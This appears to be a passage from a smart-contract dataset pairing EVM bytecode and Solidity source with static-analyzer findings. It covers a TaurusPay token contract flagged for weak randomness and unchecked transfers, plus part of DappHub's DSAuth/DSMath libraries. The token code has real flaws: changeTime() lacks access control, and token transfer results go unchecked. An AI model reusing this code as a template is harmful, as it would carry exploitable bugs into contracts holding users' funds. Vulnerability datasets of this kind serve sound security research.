1828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200b32f7e80d16c780f96b6f33d61b1cdf633c5b8088c1b538abff333cf0b06b2b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,270 |
0x19540ece04fc7a5e66697f49905fd2b0cae60bf2
|
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC223Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transfer(address to, uint256 value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
}
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Token is ERC223Basic {
using SafeMath for uint256;
mapping(address => uint256) balances; // List of user balances.
/**
* @dev protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes _data) public onlyPayloadSize(3) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2) returns(bool) {
uint codeLength;
bytes memory empty;
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
emit Transfer(msg.sender, _to, _value, empty);
return true;
}
/**
* @dev Returns balance of the `_owner`.
*
* @param _owner The address whose balance will be returned.
* @return balance Balance of the `_owner`.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, ERC223Token {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TaurusPay is StandardToken {
string public constant name = "TaurusPay Token";
string public constant symbol = "TAPT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 950**6 * (10**uint256(decimals));
address public owner;
mapping (address => bool) public contractUsers;
bool public mintingFinished;
uint256 public tokenAllocated = 0;
// list of valid claim
mapping (address => uint) public countClaimsToken;
uint256 public priceToken = 950000;
uint256 public priceClaim = 0.0005 ether;
uint256 public numberClaimToken = 200 * (10**uint256(decimals));
uint256 public startTimeDay = 50400;
uint256 public endTimeDay = 51300;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event MinWeiLimitReached(address indexed sender, uint256 weiAmount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
constructor(address _owner) public {
totalSupply = INITIAL_SUPPLY;
owner = _owner;
//owner = msg.sender; // for test's
balances[owner] = INITIAL_SUPPLY;
transfersEnabled = true;
mintingFinished = false;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
emit TokenPurchase(_investor, weiAmount, tokens);
owner.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = _weiAmount.mul(priceToken);
if (_weiAmount < 0.01 ether) {
emit MinWeiLimitReached(msg.sender, _weiAmount);
return 0;
}
if (tokenAllocated.add(addTokens) > balances[owner]) {
emit TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[owner]);
require(!mintingFinished);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
emit Mint(_to, _amount);
emit Transfer(_owner, _to, _amount);
return true;
}
function claim() canMint public payable returns (bool) {
uint256 currentTime = now;
//currentTime = 1540037100; //for test's
require(validPurchaseTime(currentTime));
require(msg.value >= priceClaim);
address beneficiar = msg.sender;
require(beneficiar != address(0));
require(!mintingFinished);
uint256 amount = calcAmount(beneficiar);
require(amount <= balances[owner]);
balances[beneficiar] = balances[beneficiar].add(amount);
balances[owner] = balances[owner].sub(amount);
tokenAllocated = tokenAllocated.add(amount);
owner.transfer(msg.value);
emit Mint(beneficiar, amount);
emit Transfer(owner, beneficiar, amount);
return true;
}
//function calcAmount(address _beneficiar) canMint public returns (uint256 amount) { //for test's
function calcAmount(address _beneficiar) canMint internal returns (uint256 amount) {
if (countClaimsToken[_beneficiar] == 0) {
countClaimsToken[_beneficiar] = 1;
}
if (countClaimsToken[_beneficiar] >= 22) {
return 0;
}
uint step = countClaimsToken[_beneficiar];
amount = numberClaimToken.mul(105 - 5*step).div(100);
countClaimsToken[_beneficiar] = countClaimsToken[_beneficiar].add(1);
}
function validPurchaseTime(uint256 _currentTime) canMint public view returns (bool) {
uint256 dayTime = _currentTime % 1 days;
if (startTimeDay <= dayTime && dayTime <= endTimeDay) {
return true;
}
return false;
}
function changeTime(uint256 _newStartTimeDay, uint256 _newEndTimeDay) public {
require(0 < _newStartTimeDay && 0 < _newEndTimeDay);
startTimeDay = _newStartTimeDay;
endTimeDay = _newEndTimeDay;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokensToOwner(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
TaurusPay token = TaurusPay(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
emit Transfer(_token, owner, balance);
}
function setPriceClaim(uint256 _newPriceClaim) external onlyOwner {
require(_newPriceClaim > 0);
priceClaim = _newPriceClaim;
}
function setNumberClaimToken(uint256 _newNumClaimToken) external onlyOwner {
require(_newNumClaimToken > 0);
numberClaimToken = _newNumClaimToken;
}
}
|
0x60806040526004361061019d5763ffffffff60e060020a60003504166305d2035b81146101a957806306fdde03146101d2578063095ea7b31461025c57806318160ddd1461028057806323b872dd146102a75780632ff2e9dc146102d15780632ff6fe76146102e65780632ffd68d3146102fb578063313ce5671461031c578063347518c7146103475780634e71d92d1461035f57806354057aa6146103675780635931228b14610381578063643791501461039657806366188463146103ae578063672781ed146103d2578063707188c1146103e757806370a082311461040257806378f7aeee146104235780637d64bcb4146104385780638da5cb5b1461044d57806395d89b411461047e57806396d8b05014610493578063a6f9dae1146104b4578063a9059cbb146104d5578063ad001266146104f9578063be45fd621461051a578063bef97c8714610583578063d73dd62314610598578063d9144712146105bc578063dd62ed3e146105d1578063ec8ac4d8146105f8578063ed93ca261461060c578063f41e60c514610621578063fc38ce191461063b575b6101a633610653565b50005b3480156101b557600080fd5b506101be61073b565b604080519115158252519081900360200190f35b3480156101de57600080fd5b506101e7610744565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610221578181015183820152602001610209565b50505050905090810190601f16801561024e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026857600080fd5b506101be600160a060020a036004351660243561077b565b34801561028c57600080fd5b506102956107e1565b60408051918252519081900360200190f35b3480156102b357600080fd5b506101be600160a060020a03600435811690602435166044356107e7565b3480156102dd57600080fd5b5061029561096c565b3480156102f257600080fd5b5061029561097f565b34801561030757600080fd5b50610295600160a060020a0360043516610985565b34801561032857600080fd5b50610331610997565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506101be60043561099c565b6101be6109e6565b34801561037357600080fd5b5061037f600435610bbf565b005b34801561038d57600080fd5b50610295610be8565b3480156103a257600080fd5b5061037f600435610bee565b3480156103ba57600080fd5b506101be600160a060020a0360043516602435610c17565b3480156103de57600080fd5b50610295610d07565b3480156103f357600080fd5b5061037f600435602435610d0d565b34801561040e57600080fd5b50610295600160a060020a0360043516610d33565b34801561042f57600080fd5b50610295610d4e565b34801561044457600080fd5b506101be610d54565b34801561045957600080fd5b50610462610dba565b60408051600160a060020a039092168252519081900360200190f35b34801561048a57600080fd5b506101e7610dc9565b34801561049f57600080fd5b5061037f600160a060020a0360043516610e00565b3480156104c057600080fd5b506101be600160a060020a0360043516610fd4565b3480156104e157600080fd5b506101be600160a060020a036004351660243561106f565b34801561050557600080fd5b506101be600160a060020a03600435166112e7565b34801561052657600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261037f948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506112fc9650505050505050565b34801561058f57600080fd5b506101be61156c565b3480156105a457600080fd5b506101be600160a060020a0360043516602435611575565b3480156105c857600080fd5b5061029561160e565b3480156105dd57600080fd5b50610295600160a060020a0360043581169060243516611614565b610295600160a060020a0360043516610653565b34801561061857600080fd5b5061029561164f565b34801561062d57600080fd5b5061037f6004351515611655565b34801561064757600080fd5b5061029560043561167f565b60008080600160a060020a038416151561066c57600080fd5b3491506106788261167f565b905080151561068657600080fd5b600954610699908263ffffffff61176716565b6009556006546106b59085908390600160a060020a031661177d565b5060408051838152602081018390528151600160a060020a038716927fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f928290030190a2600654604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015610733573d6000803e3d6000fd5b509392505050565b60085460ff1681565b60408051808201909152600f81527f54617572757350617920546f6b656e0000000000000000000000000000000000602082015281565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b60006003366064146107f557fe5b600160a060020a038416151561080a57600080fd5b600160a060020a03851660009081526004602052604090205483111561082f57600080fd5b600160a060020a038516600090815260056020908152604080832033845290915290205483111561085f57600080fd5b60035460ff16151561087057600080fd5b600160a060020a038516600090815260046020526040902054610899908463ffffffff6118d216565b600160a060020a0380871660009081526004602052604080822093909355908616815220546108ce908463ffffffff61176716565b600160a060020a038086166000908152600460209081526040808320949094559188168152600582528281203382529091522054610912908463ffffffff6118d216565b600160a060020a0380871660008181526005602090815260408083203384528252918290209490945580518781529051928816939192600080516020611a2c833981519152929181900390910190a3506001949350505050565b6e8d92d41171f3627d7517df6100000081565b600b5481565b600a6020526000908152604090205481565b601281565b600854600090819060ff16156109b157600080fd5b620151808306905080600e54111580156109cd5750600f548111155b156109db57600191506109e0565b600091505b50919050565b60085460009081908190819060ff16156109ff57600080fd5b429250610a0b8361099c565b1515610a1657600080fd5b600c54341015610a2557600080fd5b339150811515610a3457600080fd5b60085460ff1615610a4457600080fd5b610a4d826118e4565b600654600160a060020a0316600090815260046020526040902054909150811115610a7757600080fd5b600160a060020a038216600090815260046020526040902054610aa0908263ffffffff61176716565b600160a060020a038084166000908152600460205260408082209390935560065490911681522054610ad8908263ffffffff6118d216565b600654600160a060020a0316600090815260046020526040902055600954610b06908263ffffffff61176716565b600955600654604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610b42573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a2600654604080518381529051600160a060020a03808616931691600080516020611a2c833981519152919081900360200190a36001935050505090565b600654600160a060020a03163314610bd657600080fd5b60008111610be357600080fd5b600c55565b600f5481565b600654600160a060020a03163314610c0557600080fd5b60008111610c1257600080fd5b600d55565b336000908152600560209081526040808320600160a060020a038616845290915281205480831115610c6c57336000908152600560209081526040808320600160a060020a0388168452909152812055610ca1565b610c7c818463ffffffff6118d216565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600c5481565b816000108015610d1d5750806000105b1515610d2857600080fd5b600e91909155600f55565b600160a060020a031660009081526004602052604090205490565b60095481565b600654600090600160a060020a03163314610d6e57600080fd5b60085460ff1615610d7e57600080fd5b6008805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a031681565b60408051808201909152600481527f5441505400000000000000000000000000000000000000000000000000000000602082015281565b6006546000908190600160a060020a03163314610e1c57600080fd5b600160a060020a0383161515610e6c57600654604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610e66573d6000803e3d6000fd5b50610fcf565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015610ed057600080fd5b505af1158015610ee4573d6000803e3d6000fd5b505050506040513d6020811015610efa57600080fd5b5051600654604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b158015610f6e57600080fd5b505af1158015610f82573d6000803e3d6000fd5b505050506040513d6020811015610f9857600080fd5b5050600654604080518381529051600160a060020a0392831692861691600080516020611a2c833981519152919081900360200190a35b505050565b600654600090600160a060020a03163314610fee57600080fd5b600160a060020a038216151561100357600080fd5b600654604051600160a060020a038085169216907fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c90600090a35060068054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60008060608160023660441461108157fe5b600160a060020a038716151561109657600080fd5b336000908152600460205260409020548611156110b257600080fd5b60035460ff1615156110c357600080fd5b33600090815260046020526040902054873b94506110e7908763ffffffff6118d216565b3360009081526004602052604080822092909255600160a060020a03891681522054611119908763ffffffff61176716565b600160a060020a0388166000908152600460205260408120919091558411156112255786915081600160a060020a031663c0ee0b8a3388866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111be5781810151838201526020016111a6565b50505050905090810190601f1680156111eb5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561120c57600080fd5b505af1158015611220573d6000803e3d6000fd5b505050505b86600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1688866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561129f578181015183820152602001611287565b50505050905090810190601f1680156112cc5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35060019695505050505050565b60076020526000908152604090205460ff1681565b60008060033660641461130b57fe5b600160a060020a038616151561132057600080fd5b3360009081526004602052604090205485111561133c57600080fd5b60035460ff16151561134d57600080fd5b33600090815260046020526040902054863b9350611371908663ffffffff6118d216565b3360009081526004602052604080822092909255600160a060020a038816815220546113a3908663ffffffff61176716565b600160a060020a0387166000908152600460205260408120919091558311156114af5785915081600160a060020a031663c0ee0b8a3387876040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611448578181015183820152602001611430565b50505050905090810190601f1680156114755780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561149657600080fd5b505af11580156114aa573d6000803e3d6000fd5b505050505b85600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687876040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611529578181015183820152602001611511565b50505050905090810190601f1680156115565780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3505050505050565b60035460ff1681565b336000908152600560209081526040808320600160a060020a03861684529091528120546115a9908363ffffffff61176716565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600d5481565b600060023660441461162257fe5b5050600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600e5481565b600654600160a060020a0316331461166c57600080fd5b6003805460ff1916911515919091179055565b600080611697600b54846119f090919063ffffffff16565b9050662386f26fc100008310156116e75760408051848152905133917f0f36f9ac72964373d449d48877bd9443e49c93c404464e4082e3de730bd3971b919081900360200190a2600091506109e0565b600654600160a060020a0316600090815260046020526040902054600954611715908363ffffffff61176716565b111561176157600954604080519182526020820183905280517f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b629281900390910190a1600091506109e0565b92915050565b60008282018381101561177657fe5b9392505050565b60085460009060ff161561179057600080fd5b600160a060020a03841615156117a557600080fd5b600654600160a060020a03166000908152600460205260409020548311156117cc57600080fd5b60085460ff16156117dc57600080fd5b600160a060020a038416600090815260046020526040902054611805908463ffffffff61176716565b600160a060020a03808616600090815260046020526040808220939093559084168152205461183a908463ffffffff6118d216565b600160a060020a038084166000908152600460209081526040918290209390935580518681529051918716927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a283600160a060020a031682600160a060020a0316600080516020611a2c833981519152856040518082815260200191505060405180910390a35060019392505050565b6000828211156118de57fe5b50900390565b600854600090819060ff16156118f957600080fd5b600160a060020a0383166000908152600a6020526040902054151561193557600160a060020a0383166000908152600a60205260409020600190555b600160a060020a0383166000908152600a602052604090205460161161195e57600091506109e0565b50600160a060020a0382166000908152600a6020526040902054600d546119a490606490611998906005850260690363ffffffff6119f016565b9063ffffffff611a1416565b600160a060020a0384166000908152600a60205260409020549092506119d190600163ffffffff61176716565b600160a060020a0384166000908152600a602052604090205550919050565b6000828202831580611a0c5750828482811515611a0957fe5b04145b151561177657fe5b6000808284811515611a2257fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820833ed6e3aafcd8fdf1c8561dcfbac774e8f5405289617fa3726c72a0b2f20ab00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,271 |
0x043b963e1b2214ec90046167ea29c2c8bdd7c0ec
|
/// value.sol - a value is a simple thing, it can be get and set
// Copyright (C) 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity >=0.4.23;
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
interface DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) external view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
/// math.sol -- mixin for inline numerical wizardry
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
//rounds to zero if x*y < WAD / 2
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
//rounds to zero if x*y < WAD / 2
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
//rounds to zero if x*y < WAD / 2
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//rounds to zero if x*y < RAY / 2
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
/// note.sol -- the `note' modifier, for logging calls as events
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSNote {
event LogNote(
